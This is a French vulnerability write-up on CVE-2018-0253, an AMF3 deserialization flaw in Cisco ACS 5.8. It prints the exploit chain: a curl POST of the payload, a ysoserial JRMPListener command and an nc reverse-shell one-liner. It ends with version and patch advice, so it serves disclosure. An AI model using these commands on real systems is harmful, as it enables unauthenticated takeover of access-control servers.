Récemment, Markus Wulftange de Code White a
partagé une étude intéressante sur la façon d'attaquer une application Web si elle est écrite en Java et utilise le protocole AMF3. Ce protocole se trouve là où Flash est utilisé et l'échange de données entre l'objet SWF et la partie serveur de l'application est requis. Le protocole vous permet de transférer des objets sérialisés de type flash.utils.IExternalizable vers le serveur. Ces objets côté serveur sont désérialisés, la conversion de type se produit et flash.utils.IExternalizable se transforme en java.io.Externalizable. Il convient de noter que les classes qui implémentent cette interface contrôlent elles-mêmes entièrement les processus de leur propre sérialisation et désérialisation. Cela signifie que vous pouvez essayer de trouver une classe qui, lorsqu'elle sera désérialisée, exécutera du code arbitraire.
Marcus a examiné toutes les classes d'OpenJDK 8u121 qui implémentent l'interface java.io.Externalizable et a découvert qu'elles incluent les classes sun.rmi.server.UnicastRef et sun.rmi.server.UnicastRef2 liées au mécanisme RMI. Si vous préparez correctement l'objet de l'une de ces classes (initialisez-le avec un lien vers l'hôte de l'attaquant), puis transférez-le sur le serveur vulnérable, la JVM du serveur enregistrera le lien LiveRef sur "l'objet distant". Après cela, le mécanisme de récupération de place tentera d'établir une connexion JRMP avec l'hôte spécifié. Et comme vous le savez, le protocole JRMP implique l'échange d'objets Java sérialisés. Cela peut être utilisé pour exécuter des attaques liées à la désérialisation.
CVE-2018-0253 ou comment nous avons piraté Cisco ACS
Une fois, lors d'un de nos tests, nous avons eu accès au serveur Cisco ACS 5.8. Dans le même temps, nous avons eu la possibilité de nous connecter à un serveur fonctionnel via une interface Web. Lors de l'analyse de l'interface Web, nous avons constaté que les requêtes POST contenant des objets AMF3 sont envoyées du client au serveur.
Plus tard, il a été remarqué que le serveur accepte de telles demandes POST sans autorisationLes en-têtes de réponse HTTP indiquent que l'interface Web a été implémentée en Java. Vous pouvez donc essayer de lancer une attaque.
Téléchargez l'
exploit d'origine et modifiez les variables d'hôte et de port. Lors de la compilation, vous devez vous assurer que CLASSPATH contient le chemin d'accès à la bibliothèque Apache BlazeDS. L'exécution du code compilé produira un package AMF: un objet sérialisé de la classe UnicastRef, qui est initialisé par un lien LiveRef vers notre serveur.
javac Amf3ExternalizableUnicastRef.java && java Amf3ExternalizableUnicastRef > payload
Nous envoyons une demande HTTP contenant le paquet AMF généré à Cisco ACS et nous voyons une tentative de connexion.
curl -X POST -H "Content-type: application/x-amf" --data-binary @payload -k \ https://[IP Cisco ACS]/acsview/messagebroker/amfsecure
Cela est dû au fait qu'une version vulnérable de la bibliothèque Apache BlazeDS a été installée sur le serveur. Cisco ACS a déballé le paquet AMF, désérialisé l'objet que nous avons croisé et maintenant le garbage collector essaie d'établir une connexion JRMP avec notre serveur. Si vous répondez à cette demande avec un objet RMI, Cisco ACS désérialise les données reçues et exécute notre code.
Nous utilisons l'utilitaire ysoserial. Il agira comme un serveur JRMP: lors de la connexion, le client recevra un objet de la bibliothèque CommonsCollection1, à l'intérieur duquel se trouve un code pour effectuer un shell inversé.
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 443 CommonsCollections1 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [IP ] 80 >/tmp/f'
Maintenant, nous répétons l'envoi du paquet AMF et obtenons le shell inverse:
Au lieu d'une conclusion
La vulnérabilité trouvée permet à un attaquant non autorisé d'exécuter des commandes arbitraires à partir d'un utilisateur privilégié. Le fabricant lui a
attribué une note de 9,8 sur l'échelle CVSS . Nous conseillons à tous ceux qui utilisent ce logiciel d'installer le dernier patch.
Logiciel vulnérable:
- Cisco ACS <5.8.0.32.7 - vulnérable, l'autorisation n'est pas requise;
- Cisco ACS 5.8.0.32.7, 5.8.0.32.8 - vulnérable, autorisation requise;
- À partir de Cisco ACS 5.8.0.32.9 - la vulnérabilité est fermée.
Auteurs : Mikhail Klyuchnikov et Yuri Aleinov, Positive Technologies